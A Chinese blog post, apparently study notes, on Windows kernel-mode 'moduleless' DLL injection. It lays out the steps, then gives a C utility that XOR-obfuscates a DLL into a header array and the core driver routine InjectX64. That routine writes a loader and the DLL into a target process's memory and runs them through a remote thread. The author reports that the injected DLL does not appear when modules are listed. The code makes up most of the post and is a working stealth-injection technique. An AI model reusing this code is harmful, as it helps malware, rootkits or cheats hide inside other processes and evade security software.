最近找到大佬的文章学习了下0环无模块注入记录一下关键的信息点:

无模块注入流程:
        1、将要注入的dll提取成硬编码存放到char数组里
        2、附加目标进程,申请一块不可执行的内存,用来存放硬编码的dll
        3、用隐藏可执行内存的方式,申请一块可执行的内存,用来存放dllLoader
        4、修改dllLoader内的dll入口函数地址
        5、附加到目标进程,并创建线程执行dllLoder
        6、等待线程执行完成,释放内存
第一步将注入的dll提取成硬编码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int convertDllToHeader(const char* dllPath, const char* headerPath, const char* arrayName) {
    // 打开DLL文件
    FILE* dllFile = nullptr;
    errno_t err = fopen_s(&dllFile, dllPath, "rb");
    if (err != 0 || dllFile == NULL) {
        printf("无法打开DLL文件: %s\n", dllPath);
        return 0;
    }
    // 获取文件大小
    fseek(dllFile, 0, SEEK_END);
    long fileSize = ftell(dllFile);
    fseek(dllFile, 0, SEEK_SET);
    if (fileSize <= 0) {
        printf("DLL文件为空或读取失败\n");
        fclose(dllFile);
        return 0;
    }
    // 分配内存并读取文件内容
    unsigned char* buffer = (unsigned char*)malloc(fileSize);
    if (buffer == NULL) {
        printf("内存分配失败\n");
        fclose(dllFile);
        return 0;
    }
    size_t bytesRead = fread(buffer, 1, fileSize, dllFile);
    fclose(dllFile);
    if (bytesRead != fileSize) {
        printf("读取文件出错\n");
        free(buffer);
        return 0;
    }
    // 创建头文件
    FILE* headerFile = nullptr;
    err = fopen_s(&headerFile, headerPath, "w");
    if (err != 0 || headerFile == NULL) {
        printf("无法创建头文件: %s\n", headerPath);
        free(buffer);
        return 0;
    }
    // 写入头文件内容
    fprintf(headerFile, "#pragma once\n");
    fprintf(headerFile, "unsigned char %s[%lu] = {\n", arrayName, (unsigned long)bytesRead);
    // 写入数据,每行30个字节
    size_t i;
    for (i = 0; i < bytesRead; ++i) {
        if (i % 30 == 0) {
            fprintf(headerFile, "    ");
        }
        fprintf(headerFile, "0x%02X", buffer[i]^ 0xc8 ^ 0xd7); //对字节进行异或加密
        if (i != bytesRead - 1) {
            fprintf(headerFile, ",");
        }
        if ((i + 1) % 30 == 0 || i == bytesRead - 1) {
            fprintf(headerFile, "\n");
        }
        else {
            fprintf(headerFile, " ");
        }
    }
    fprintf(headerFile, "};\n\n");
    fclose(headerFile);
    free(buffer);
    printf("成功输出文件: %s\n", headerPath);
    printf("文件大小: %lu 字节\n", (unsigned long)bytesRead);
    return 1;
}
int main(int argc, char* argv[]) {
    // 检查命令行参数数量
    if (argc < 2) {
        printf("使用方法: %s <DLL文件路径> [输出头文件路径] [数组名称]\n", argv[0]);
        printf("示例: %s Test.dll dll.h dllData\n", argv[0]);
        printf("默认输出文件: dll.h, 默认数组名称: dllData\n");
        return 1;
    }
    // 获取DLL文件路径(必须提供)
    const char* dllPath = argv[1];
    // 设置默认值
    const char* headerPath = "dll.h";         // 默认输出头文件路径
    const char* arrayName = "dllData";        // 默认数组名称
    // 如果提供了第3个参数,使用它作为输出头文件路径
    if (argc >= 3) {
        headerPath = argv[2];
    }
    // 如果提供了第4个参数,使用它作为数组名称
    if (argc >= 4) {
        arrayName = argv[3];
    }
    printf("输入DLL文件: %s\n", dllPath);
    printf("输出头文件: %s\n", headerPath);
    printf("数组名称: %s\n", arrayName);
    if (convertDllToHeader(dllPath, headerPath, arrayName)) {
        printf("转换成功!\n");
    }
    else {
        printf("转换失败!\n");
        return 1;
    }
    return 0;
}
上面代码就是将dll转成shellcode编码,注意的是对每个字节进行异或进行简单的加密,因为在驱动加载的时候会调用这个生成的exe去将dll转成shellcode编码存放到dll.h的一个文件,在驱动加载时会取这个编码:

取出后会对字节进行异或解密拿到正常的字节,然后调用InjectX64方法进行注入,方法的核心代码:
NTSTATUS InjectX64(HANDLE pid, char * shellcode, SIZE_T shellcodeSize)
{
	DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "=== InjectX64 Start ===\n");
	DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "PID: %d, Shellcode Size: %zu\n", pid, shellcodeSize);
	//__debugbreak();
	PEPROCESS Process = NULL;
	NTSTATUS status = PsLookupProcessByProcessId(pid, &Process);
	KAPC_STATE kApcState = {0};
	if (!NT_SUCCESS(status))
	{
		return status;
	}
	if (PsGetProcessExitStatus(Process) != STATUS_PENDING)
	{
		ObDereferenceObject(Process);
		return NULL;
	}
	PUCHAR kfileDll = ExAllocatePool(PagedPool, shellcodeSize);
	memcpy(kfileDll, shellcode, shellcodeSize);
	BOOLEAN isuFileAllocatedll = FALSE;
	BOOLEAN isuShellcode = FALSE;
	BOOLEAN isuimageDll = FALSE;
	PUCHAR ufileDll = NULL;
	PUCHAR uShellcode = NULL;
	SIZE_T uShellcodeSize = 0;
	PUCHAR uImage = NULL;
	SIZE_T uImageSize = 0;
	KeStackAttachProcess(Process, &kApcState);
	do 
	{
		//这里填充的是dll
		ufileDll = AllocateMemoryNotExecute(pid, shellcodeSize);
		if (!ufileDll)
		{
			DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "申请不可执行内存失败\n");
			break;
		}
		
		
		memcpy(ufileDll, kfileDll, shellcodeSize);
		isuFileAllocatedll = TRUE;
		//这里填充的是dllLoader
		uShellcode = AllocateMemory(pid, sizeof(MemLoadShellcode_x64));
		if (!uShellcode)
		{
			DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "申请存储shellcode内存失败\n");
			break;
		}
		isuShellcode = TRUE;
		memcpy(uShellcode, MemLoadShellcode_x64, sizeof(MemLoadShellcode_x64));
		
		PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)ufileDll;
		PIMAGE_NT_HEADERS pNts = (PIMAGE_NT_HEADERS)(ufileDll + pDos->e_lfanew);
		uImageSize = pNts->OptionalHeader.SizeOfImage;
		//申请内存 存放展开后的dll
		uImage = AllocateMemory(pid, uImageSize);
		DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "Base:%llx\n", uImage);
		if (!uImage)
		{
			break;
		}
		//替换shellcode里面的dll地址 mov rax,uImage
		uShellcode[0x50f] = 0x90;
		uShellcode[0x510] = 0x48;
		uShellcode[0x511] = 0xb8;
		*(PULONG64)&uShellcode[0x512] = (ULONG64)uImage;
		
		//附加到目标进程 然后创建线程去跑dllLoader
		PETHREAD thread = NULL;
		if (CreateRemoteThreadByProcess(pid, uShellcode, ufileDll, &thread))
		{
			DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "uShellcode:%llx\n", uShellcode);
			KeWaitForSingleObject(thread, Executive, KernelMode, FALSE, NULL);
			DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "DLL执行完成\n");
			memset(uImage, 0, PAGE_SIZE);
		}
		else 
		{
			isuimageDll = TRUE;
		}
	} while (0);
	//释放内存
	if (isuFileAllocatedll)
	{
		FreeMemory(pid, ufileDll, shellcodeSize);
	}
	if (isuShellcode)
	{
		FreeMemory(pid, uShellcode, sizeof(MemLoadShellcode_x64));
	}
	if (isuimageDll)
	{
		FreeMemory(pid, uImage, uImageSize);
	}
	KeUnstackDetachProcess(&kApcState);
	if (kfileDll != NULL) {
		ExFreePool(kfileDll);
		kfileDll = NULL;  // 防止重复释放
	}
	return status;
}
这里用的大佬的方法没改啥东西,这里Test.dll动态链接库是这样的:

驱动执行一下看看:

可以看到注入Test.dll成功了,枚举模块的地方也找不到这个dll,整体来说了解了原理及参考大佬的代码,感觉没有想象的那么高深莫测。嗯, 就这样吧!
 
                   
                   
                   
                   
                             
       
           
                 
                 
                 
                 
                 
                
               
                 
                 
                 
                 
                
               
                 
                 扫一扫
扫一扫
                     
              
             
                   2529
					2529
					
 被折叠的  条评论
		 为什么被折叠?
被折叠的  条评论
		 为什么被折叠?
		 
		  到【灌水乐园】发言
到【灌水乐园】发言                                
		 
		 
    
   
    
   
             
            


 
            